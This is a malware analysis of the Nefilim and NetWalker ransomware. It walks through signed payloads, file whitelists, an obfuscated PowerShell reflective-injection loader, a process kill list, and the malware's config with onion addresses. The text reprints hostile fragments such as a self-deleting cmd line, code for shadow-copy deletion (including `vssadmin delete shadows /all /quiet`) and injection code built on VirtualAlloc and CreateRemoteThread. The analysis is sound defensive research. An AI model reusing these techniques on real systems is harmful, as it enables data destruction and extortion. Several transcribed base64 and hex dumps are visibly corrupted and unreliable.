

# Nefilim & Netwalker

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**Nefilim (SECTION 1)**

**NetWalker + Injection (SECTION 2)**

## Nefilim (SECTION 1)

One of the reason nefilim bypassed many endpoint security solutions is that it uses a signed payload.

The screenshot shows two windows. The top window displays a memory dump with addresses from [0054FA98] to [00352180]. It includes strings like '<null>', 'Sectigo RSA Code Signing CA', 'Inter Med Pty. Ltd.', and a series of hex bytes: 39 F5 62 51 df 20 88 22 3c c0 34 94 08 4e 60 81. The bottom window is titled 'FILE\_TYPE -> PE' and contains detailed information about the file's structure, including fields like 'i386 ...', 'EXE', 'Wed Mar 11 02:06:11 2020', '4', '0x400000 <- Base\*', 'GUI', 'C32B', '33280 <- CS', '0x1000 <- CoseBase\*', and sections like '.text', '.text: <X>, <R>', '.rdata', '.rdata: I, <R>', '.data', and '.data: I, <R>, <W>'. A red watermark 'CompileTime' is overlaid on the bottom window.

Overall the payload is pretty efficient. It acts quickly to encrypt the disc. It creates a whitelist to make sure that the encryption process doesn't hit any decoy files/folders. Some endpoint solutions deploy or watch these folders. The payload uses some of the following strings.

*oh how i did it??? bypass sofos hah*

*fuk sosorin*

*fuk anlab*


*Den'gi plyvut v karmany rekoy. My khodim po krayu nozha... (I feel pain in somewhere in a pile, and the wounds in my heart cannot heal)*

*We walk on the edge of a knife*

Some of the strings are used as keys to decrypt parts of the ransom note.

The payload uses **Advapi32** so that it can use CryptAcquireContextA, CryptCreateHash etc and the function available as a resource named **SystemFunction036** in Advapi32.dll.

It doesn't use a lot of command line activity like other ransomware payloads. The basic flow is pretty straightforward.



payload.exe-1944 → cmd.exe-3716 → timeout.exe-3336



**cmd.exe /c    timeout /t 3 /nobreak && del "C:\Users\foo\Desktop\payload.exe" /s /f /q**  
Strings are passed to call shellExecute()

```
addir-4039fb(u" /c timeout /t 3 /nobreak && del \\");  
addir-4039fb(u"\\ /s /f /q");  
addir-402a91(u"\\ /s /f /q");
```

And then passed as “ecx”

**ShellExecute(0x0, 0x0, u"cmd.exe", ecx, 0x0, 0x0);**

```
push    eax  
push    eax  
push    ecx  
push    aCmdexe  
push    eax  
push    eax  
call    dword [imp_ShellExecuteW]
```

## Nefilim starts looking for files by using

**FindFirstFile(eax, struct WIN32\_FIND\_DATAA );**

It compares file path within the whiteList provided by the payload. This is done by using **lstrcmpi()**

```
push    aWindows      // Looking for the folder Windows  
push    eax  
call    esi          // Calls the string compare function  
test    eax, eax     // If equal use JE to jump to a function  
                  // lstrcmpi(&variabletocompare, u"windows");
```

## WhiteListed extensions

lnk,exe,log,cab,cmd,com,cpl,exe,ini,dll,url,ttf,pif,mp3,mp4

## WhiteListed files/folders

windows, \$RECYCLE.BIN, NTDETECT.COM, ntldr, MSDOS.SYS, IO.SYS, boot.ini, AUTOEXEC.BAT, ntuser.dat, desktop.ini, CONFIG.SYS, RECYCLER, BOOTSECT.BAK, bootmgr, programdata, appdata, programfiles, programfiles(x86), microsoft, sophos

```
e.01261635
push e.126C868 ; 126C868:L"windows"
lea eax,dword ptr ss:[esp+D0]
push eax
call esi
test eax,eax
je e.1261AE7

..0126164C
push e.126C878 ; 126C878:L"$RECYCLE.BIN"
lea eax,dword ptr ss:[esp+D0]
push eax
call esi
test eax,eax
je e.1261AE7

e.01261663
push e.126C894 ; 126C894:L"rsa"
lea eax,dword ptr ss:[esp+D0]
push eax
call esi
test eax,eax
je e.1261AE7

..0126167A
push e.126C89C ; 126C89C:L"NTDETECT.COM"
lea eax,dword ptr ss:[esp+D0]
push eax
call esi
test eax,eax
je e.1261AE7
```

All files (minus the whitelisted files/folders) are encrypted with **.NEFILIM** extension. **CreateFile()** is called to create a text file with a Ransomnote

```
push e.126C3B4 ; 126C3B4:L"NEFILIM-DECRYPT.txt"
lea eax,dword ptr ss:[ebp-8]
lea ecx,dword ptr ss:[ebp-20]
call e.12628CB
cmp dword ptr ds:[eax+14],8
pop ecx
jb e.126141B

e.01261419
mov eax,dword ptr ds:[eax]

e.0126141B
push ebx
push esi
push edi
xor ebx,ebx
push ebx
push 2
push ebx
push 40000000
push eax
call dword ptr ds:[<&CreateFileW>]
```

## **NetWalker** (SECTION 2)

Initial payload drops an obfuscated powershell script.



ESET-NOD32	① Win64/Filecoder.NetWalker.A	Kaspersky	① HEUR:Trojan.PowerShell.Generic
Microsoft	① Ransom:PowerShell/NetWalker.PIIMTB	Sophos AV	① Troj/NetWalk-B
TrendMicro	① Ransom.PS1.NETWALKER.SM	TrendMicro-HouseCall	① Ransom.PS1.NETWALKER.SM
ZoneAlarm by Check Point	① HEUR:Trojan.PowerShell.Generic	Ad-Aware	✓ Undetected
AegisLab	✓ Undetected	AhnLab-V3	✓ Undetected
ALYac	✓ Undetected	Antiy-AVL	✓ Undetected

**Powershell contains a base64 payload.**

**Payload is converted to the following**



This layer of **obfuscation** is removed by **XOR** operation with '**0x47**'

```
namespace Fvh
{
    [StructLayout(LayoutKind.Sequential)]
    public struct hedrtSpRy
    {
        public UInt32 regOENbPwRRujnbTf;
        public UInt32 rRsCNluIdCnPhbAI;
    }
    [StructLayout(LayoutKind.Sequential)]
    public struct jrglUJ
    {
        public UInt16 CXNKEGSdUDJo;
        public UInt16 gKSaI;
        public UInt16 ydyhEkroHCktbwJS;
        public UInt16 eXMOghHSyBvJ;
        public UInt16 cXngHbQUgx;
        public UInt16 vOnxrwqXuvDiCyDEK;
        public UInt16 EtSJKzEAdOfPxpcITl;
        public UInt16 NeIg;
        public UInt16 mpnqIqVbyKlII;
```

• •

```
if ( $aukhgaZFiPJBarSpJc -eq $false )  
{
```

```

    qGDkNThnYgllXZ $upEcLTMCGhc $upEcLTMCGhc
$TKgfkdkQrLMAN.AzOVgkIsqtmgykQIb.SsheECGcrMBTG.hJuF $(ULhnbocyXER
LvVtGXUp $TKgfkdkQrLMAN.AzOVgkIsqtmgykQIb.KqELfXfIXPzsmd)
}

$rWd = RBeMnMHvnNEob $upEcLTMCGhc $( ULhnbocyXER LvVtGXUp
( $TKgfkdkQrLMAN.AzOVgkIsqtmgykQIb.UJXRvKZSoPevE
dqqjiTT ))
$ejxPJM = lrcTwTXsUgcNNyNUH @([System.IntPtr],[UInt32],[System.IntPtr])
([bool])

$EUQ = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer( $rWd, $ejxPJM )
$EUQ.Invoke( 0, 0, 0 ) | Out-Null
}

Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();} | Out-Null

[DllImport("kernel32.dll", SetLastError = true, EntryPoint = "VirtualAlloc")]
public static extern IntPtr lsJtHM(IntPtr Bol, UIntPtr HMPMFvJgstQY, UInt32
vgOWJORGpiclb, UInt32 hkGugwGTQZvvNc);

[DllImport("kernel32.dll", SetLastError = true, EntryPoint = "GetProcAddress")]
public static extern IntPtr prINVMFazIdTgzP(IntPtr ifSw, string Opk);

[DllImport("kernel32.dll", EntryPoint = "CreateRemoteThread")]
[DllImport("kernel32.dll", SetLastError = true, EntryPoint = "VirtualAlloc")]
public static extern IntPtr lsJtHM(IntPtr Bol, UIntPtr HMPMFvJgstQY, UInt32
vgOWJORGpiclb, UInt32 hkGugwGTQZvvNc);

```

The decoded payload is a DLL with a modified PE header due to which, Virustotal considers this file type as “Unknown”

```
00000000: addc 9000 0300 0000 0400 0000 ffff 0000 .....  
00000010: b800 0000 0000 0000 4000 0000 0000 0000 .....@.  
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 .....  
00000030: 0000 0000 0000 0000 0000 0000 b800 0000 .....  
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468 .....!.L.!Th  
00000050: 6973 2070 726f 6772 616d 2063 616e 66f6 is program cannot  
00000060: 7420 6265 2072 756e 2069 6e20 44f4 5320 be run in DOS  
00000070: 6d6f 6465 2e0d 0d0a 2400 0000 0000 0000 mode....$.  
00000080: 0000 0000 0000 0000 0000 0000 0000 0000 .....  
00000090: 0000 0000 0000 0000 0000 0000 0000 0000 .....  
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000 .....  
000000b0: 0000 0000 0000 0000 0000 0000 0000 0000 .....
```

## INCORRECT MAGIC HEADER BYTES

00001057 db "ram cannot be run in DOS mode.\r\r\n\\$", 0

**It then changes the incorrect value**

4DSA9000	03000000	04000000	FFFF0000	B8000000	0	ADDE9000	03000000	04000000	FFFF0000
00000000	00000000	00000000	00000000	00000000	16	B8000000	00000000	40000000	00000000
00000000	00000000	00000000	00000000	00000000	32	00000000	00000000	00000000	00000000
B8000000	001FBA0E	008499CD	21B8014C	CD215468	48	001FBA0E	008499CD	21B8014C	B8000000
69732070	726F6772	616D2063	616E6E6F	74262652	64	001FBA0E	008499CD	21B8014C	CD215468
2072756E	20696E20	444FS320	6D6F6465	2E0D000A	80	69732070	726F6772	616D2063	616E6E6F
24000000	00000000	00000000	00000000	00000000	96	74262652	2072756E	20696E20	444FS320
00000000	00000000	00000000	00000000	00000000	11	6D6F6465	2E0D000A	24000000	00000000
00000000	00000000	00000000	00000000	00000000	2	00000000	00000000	00000000	00000000
00000000	50454000	4C010500	5A34AD5E	00000000	12	00000000	00000000	00000000	00000000
00000000	E0000221	0B010E10	00BC0000	00240000	8	00000000	00000000	00000000	00000000
00000000	B0A00000	00100000	00D00000	00000010	14	00000000	00000000	50450000	4C010500
00100000	00022000	00600000	00000000	05000000		5A34AD5E	00000000	00000000	E0000221


## API's & FUNCTIONS REQUIRED:

```
FunctionjGHCogMzZJqMjkXBj
FunctionRBeMnMHvnBNEob
FunctionULhnbcyXERLlvTgXUp
FunctionpmWsENpD
FunctionlrcTwTXsUgcNNyNUH
functionqGDKNThnYglXZ
functionUjsOlmIVajpskSFV
functionozesOBwrUGaviaPvkV
$EQU=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rWd,$cjxPJM)
FunctionjGHCogMzZJqMjkXBj
FunctionRBeMnMHvnBNEob
FunctionULhnbcyXERLlvTgXUp
FunctionpmWsENpD
FunctionlrcTwTXsUgcNNyNUH
functionqGDKNThnYglXZ
functionUjsOlmIVajpskSFV
functionozesOBwrUGaviaPvkV
$EQU=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rWd,$cjxPJM)
```

## Time for reflective DLL loading:

Netwalker injects into **EXPLORER.exe** to make sure everything is performed within explorer.exe's address space

ozesOBwrUGaviaPvkV '**explorer**' \$upEcLTMCGhc  
\$TKgfkdkQrLMAN.AzOVgkIsqtmgykQIb.XNkbT  
\$TKgfkdkQrLMAN.AzOVgkIsqtmgy  
kQIb.UJXRvKZSoPevEdqjjiT \$aukhgaZFiPJBarSpJc ([ref]  
\$rbwueXQHo)



**Netwalker relies on the following config values**

{"mpk  
:+1KtL9ibbeqaChhoz4iEHeTtRtw8pNA5yC034/3klSA=  
","**mode**  
:0,"**spsz**  
:15360,"thr  
:1500,"**namesz**  
:8,"**idsz**  
:6,"**pers**  
:true,"onion1  
:"pb36hu4spl6cyjdfhing7h3pw6dhpk32ifemawkujj4gp33ejzdq3did.onion  
, "onion2  
:"rnfdsgm6wb6j6su5txkekW4u4y47kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion  
, "lfile  
:"{id}-**Readme.txt**  
, "lend  
:"SGkhDQpZb3VyIGZpbGVzIGFyZSBbmNyeXB0ZWQgYnkgTmV0d2Fsa2VyLg0KQWxsIGVuY3J5  
cHRIZCBmaWxlcYBmb3IgdGhpcyBjb21wdXRlciBoYXMgZXh0ZW5zaW9uOiAue2lkfQ0KDQotLQ0  
KSWYgZm9yIHNVbWUgcmVhc29uIHlvdSByzWFkIHRoaXMgdGV4dCBiZWZvcmUgdGhlIGVuY3J5  
cHRpb24gZW5kZWQsDQp0aGlzIGNhbiBiZSB1bmRlcN0b29kIGJ5IHRoZSBmYWN0IHRoYXQg  
dGhlIGNvbXB1dGVyIHNsb3dzIGRvd24sDQphbmQgeW91ciBoZWFnCByYXRIIGhhcyBpbmNyZW  
FzZWQgZHVIIRvIHRoZSBhYmlsaXR5IHRvIHR1cm4gaXQgb2ZmLA0KdGhIbiB3ZSByZWNvb  
W1lbmQgdGhhCB5b3UgbW92ZSBhd2F5IGZyb20gdGhlIGNvbXB1dGVyIGFuZCBhY2NlcHQgdG  
hhCB5b3UgaGF2ZSBiZWVvIGNvbXB2b1pc2VkLg0KUmVib290aW5nL3NodXRkb3duIHdpbGwg  
Y2F1c2UgeW91IHRvIGxvc2UgZmlsZXmgd2l0aG91dCB0aGUgcG9zc2liaWxpdHkgb2YgcmVjb3Zlc  
kuDQoNCi0tDQpPdXIgIGVuY3J5cHRpb24gYWxb3JpdGhtcyBhcmUgdmVyeSBzdHJvbmcgYW5kI  
HlvdXIgZmlsZXmgYXJIIHZlcngd2VsbCBwcm90ZWN0ZWQsDQp0aGUgb25seSB3YXkgdG8gZ2V  
0IHLvdXIgZmlsZXmgYmFjayBpcyB0byBjb29wZXJhdGUgd2l0aCB1cyBhbmQgZ2V0IHRoZSBkZWN  
yeXB0ZXIgcHJvZ3JhbS4NCg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHLvdXIgZmlsZXmgd2l0aG9  
1dCBhIGRIY3J5cHRlciBwcm9ncmFtLCB5b3UgbWF5IGRhbWFnZSB0aGVtIGFuZCB0aGVuIHRoZ  
Xkgd2lsbCBiZSBpbXBvc3NpYmxlIHRvIHJY292ZXIuDQoNCkZvcB1cyB0aGlzIGlZIGp1c3QgYnVz  
aW5lc3MgYW5kIHRvIHBByb3ZIiHRvIHLvdSBvdXIgC2VyaW91c25lc3MsIHdIHDpbGwgZGVjcnlwD  
C5b3Ugb25lIGZpbGUgZm9yIGZyZWUuDQpKdXN0IG9wZW4gb3VyIHdIYnNpdGUisIHVwbG9hZ  
CB0aGUgZW5jcnlwDGVkIGZpbGUgYW5kIGdldCB0aGUgZGVjcnlwDGVkIGZpbGUgZm9yIGZyZ  
WUuDQoNCi0tDQoNCiN0ZXBzIHRvIGdldCBhY2Nlc3Mgb24gb3VyIHdIYnNpdGU6DQoNCjEuR  
G93bmxyYWQgYW5kIGluc3RhbGwgDg9yLWlyb3dzZXI6IGH0dHBzOiy8vdG9ycHJvamVidC5vcmy

```
DQoNCjIuT3BlbiBvdXIgd2Vic2l0ZToge29uaW9uMX0NCklmIHRoZSB3ZWJzaXRIIGlzIG5vdCBhd
mFpbGFibGUsIG9wZW4gYW5vdGhlciBvbmU6IHtvbmlvbjJ9DQoNCjMuUHV0IHlvdXIgcGVyc29u
YWwgY29kZSBpbIB0aGUgaW5wdXQgZm9ybToNCg0Ke2NvZGV9
```

```
,"white"
:{ "path
:[/*system volume information
,/*windows.old
,/*:\users\*\*\temp
mp",/*msocache
,/*:\winnt
,/**$windows.~ws
,/*perflogs
,/*boot
,/*:\windows
,/*:\program file*\vmware
e","\\*\users\*\*\temp
temp","\\*\winnt
nt","\\*\windows
```

**Netwalker, like nefilim contains a pre-defined whitelist. Unlike nefilim, it has a killList as well.**

```
xxx.012D3F27
push xxx.12E118C ; 12E118C:"kill"
push ebp
call xxx.12DC110
mov esi,eax
add esp,8
test esi,esi
je xxx.12D3FFB

shell32.75966353
push shell32.7596627C ; 7596627C:L"KillList"
push shell32.7596625C ; 7596625C:L"FileAssociation"
push 2
```

Netwalker contains configuration variables within the payload.

```
push xxx.93112C ; 93112C:"mode"
push ebp
mov esi,eax
call xxx.92C110
push xxx.931134 ; 931134:"spsz"
push ebp
mov ebx,eax
call xxx.92C110
push xxx.93114C ; 93114C:"thr"
push ebp
mov dword ptr ss:[esp+30],eax
call xxx.92C110
push xxx.93113C ; 93113C:"namesz"
push ebp
mov dword ptr ss:[esp+3C],eax
call xxx.92C110
push xxx.931144 ; 931144:"idsz"
push ebp
mov dword ptr ss:[esp+48],eax
call xxx.92C110
push xxx.931150 ; 931150:"onionid"
push ebp
mov dword ptr ss:[esp+54],eax
call xxx.92C110
push xxx.931158 ; 931158:"onionid"
push ebp
mov dword ptr ss:[esp+60],eax
call xxx.92C110
add esp,40
mov dword ptr ss:[esp+24],eax
push xxx.931160 ; 931160:"file"
push ebp
call xxx.92C110
push xxx.931168 ; 931168:"lend"
push ebp

xxx.00923E7F
push xxx.931170 ; 931170:"white"
push ebp
call xxx.92C110
mov esi,eax
add esp,8
test esi,esi
je xxx.924187

xxx.00923E97
push xxx.931180 ; 931180:"file"
push esi
call xxx.92C110
push xxx.931178 ; 931178:"path"
push esi
mov ebx,eax
call xxx.92C110
push xxx.931188 ; 931188:"ext"
push esi
mov edi,eax
call xxx.92C110
add esp,18
mov esi,eax
test ebx,ebx
je xxx.924187
```

Let's dig in and find some of the configurations.

### **KILL\_LIST (IF PROCESS IS RUNNING => TERMINATE)**

```
kill
:{"use
:true,"prc
:["nslservice.exe
,"pg*
,"nservice.exe
,"cbvscserv*
,"nrtscan.exe
,"cbservi*
,"hMailServer*
,"IBM*
,"bes10*
,"black*
,"apach*
,"bd2*
,"db*
,"ba*
,"be*
,"QB*
,"oracle*
,"wbengine*
,"vee*
,"postg*
,"sage*
,"sap*
,"b1*
,"fdlaunch*
,"msmdsrv*
,"report*
,"msdtssi*
,"coldfus*
,"cfdot*
,"swag*
,"swstrtr*
,"jetty.exe
,"wrsa.exe
```

### **WHITE\_LISTED\_PATH(S)**

```
white
:{"path
:[!"system volume information
,"*windows.old
,"*.\users\*.*\temp
mp","*msocache
,"*.\winnt
,"*%$windows.%ws
,"*perflogs
,"*boot
,"*.\windows
```

```

", "*:\program file*\vmware
e", "\*\users\*\*\temp
temp", "\*\winnt
nt", "\*\windows
ws", "\program file*\vmware
e", "\appdata*microsoft
,\*\appdata*packages
,\*\microsoft\provisioning
,\*\dvd maker
,\*\Internet Explorer
,\*\Mozilla
,\*\Mozilla*
,\*\Old Firefox data
,\*\*\program file*\windows media*
*, *\*\program file*\windows portable*
*, *\*\windows defender
,\*\program file*\windows nt
t", "\*\program file*\windows photo*
*, *\*\program file*\windows side*
*, *\*\program file*\windowspowershell
l", "\*\program file*\cuass*
*, *\*\program file*\microsoft games
s", "\*\program file*\common files\system
em", "\*\program file*\common files\*shared
ed", "\*\program file*\common files\reference ass*
s", "\*\windows\cache*
*, *\*\temporary internet*
,\*\media player
,\*\users\*\appdata\*\microsoft
soft", "\*\users\*\appdata\*\microsoft
rosoft", "\*\Program File*\Cisco
o"]

```

### **WHITE\_LISTED\_FILE(S) AND EXTENSIONS**

```

file
:[ "ntuser.dat*
,"iconcache.db
,"gdipfont*.dat
,"ntuser.ini
,"usrclass.dat
,"usrclass.dat*
,"boot.ini
,"bootmgr
,"bootnxt
,"desktop.ini
,"ntuser.dat
,"autorun.inf
,"ntldr
,"thumbs.db
,"bootsect.bak
,"bootfont.bin
],"ext
:[ "msp
,"exe
,"sys
,"msc

```

```
,"mod  
, "clb  
, "mui  
, "regtrans-ms  
, "theme  
, "hta  
, "shs  
, "nomedia  
, "diagpkg  
, "cab  
, "ics  
, "msstyles  
, "cur  
, "drv  
, "icns  
, "diagcfg  
, "dll  
, "ocx  
, "lnk  
, "ico  
, "idx  
, "psl  
, "mpa  
, "cpl  
, "icl  
, "msu  
, "msi  
, "nls  
, "scr  
, "adv  
, "386  
, "com  
, "hlp  
, "rom  
, "lock  
, "386  
, "wpx  
, "ani  
, "prf  
, "rtp  
, "ldf  
, "key  
, "diagcab  
, "cmd  
, "spl  
, "deskthemepack  
, "bat  
, "themepack
```

Netwalker takes longer than nefilim to encrypt files as netwalker can exfiltrate files as well. It contains code path to data theft. **The adversaries can expose data if ransom demands are not met.**

pb36hu4spl6cyjdfhing7h3pw6dhpk32ifemawkujj4gp33ejzdq3did.onion  
rnfdsqm6wb6j6su5txkekw4u4y47kp2eatvu7d6xhyn5cs4lt4pdrrqqd.onion

## Netwalker can look for shares as well.

```
push wkscli.6B6A49E8 ; 6B6A49E8:L"\\"IPC$"
push esi
push edi
call <JMP.&WCSCAT_S>
```

Right before encrypting the files, netwalker deletes the shadow copy

```
C:\Windows\system32\vssadmin.exe delete shadows /all /quiet
```

Once files are encrypted. Netwalker will create the following path with the ransom note.

{id}—55readabout.txt

**Netwalker payload will decrypt the following base64 content and add it to the file**

```
OKSWYgZm9yIHNvbWUgcmVhI3Nvb1B5b3UgcmVhZCB0aGlzIHRleH0gYmVmb3JlIHRoZSB1bmNyeSNwdGlvb1BlbmR1ZCwNCnRoaxMgY2FuIGJlIHVuZGVyc3Qjb29kIGJ5IHRoZSBmYWN0IHRoYXQgdGhlIGNvbXAIjXRlcibZzb93cyBkb3duLA0kYw5kIHLvdXIga6VhcnQgcmf0ZSBoYYMqaW5jc.iNLYXNLZCBkdWUgdG8gdghLIGFiaWxpdHkgdG8gdHvbiBpdCByZmYsD0p0aGVuIHdIHJ1Y29tbWUZC8BaGF0IHLvdS8t b3ZLIGF3YXkgZnJvbS0aGUgY29tcHUjdGvY16FuZC8hY2NlcHQgdGhhcB5b3UgaGF2ZSBiZVuIGNvbXbyI29taXNLZC4NCLj1ym9vi3Rpbmvc2h1dCNkb3duIHdpbGwgY2EjdXNLiHlvdSB0by8sbvNzSBmaWxicyB3aRob3V0IHRoZSBw63NzI21iaWxpdHkgb2YgcnVjI292ZX5Lg0KDqotLT090QpPdXigIGVuY3J5chQjaW9uIGFs229yaXQjaG1zIGFyZSB2XJ5IHN0cm9uZyBhbmQgeW91 2
*****
[ Your fi#les are enc#rypted.
All encryp#ted files for this comp#uter has exten#sion: .{id}

---#
If for some rea#son you read this text before the encry#ption ended,
this can be understood by the fact that the comp#uter slows down,
and your heart rate has incr#eased due to the ability to turn it off,
then we recommend that you move away from the compu#ter and accept that you have been compr#omised.
Rebooo#ting/shut#down will ca#use you to lo#se files without the poss#ibility of rec#over.

---#
Our encrypt#ion algorit#hms are very strong and you ]
```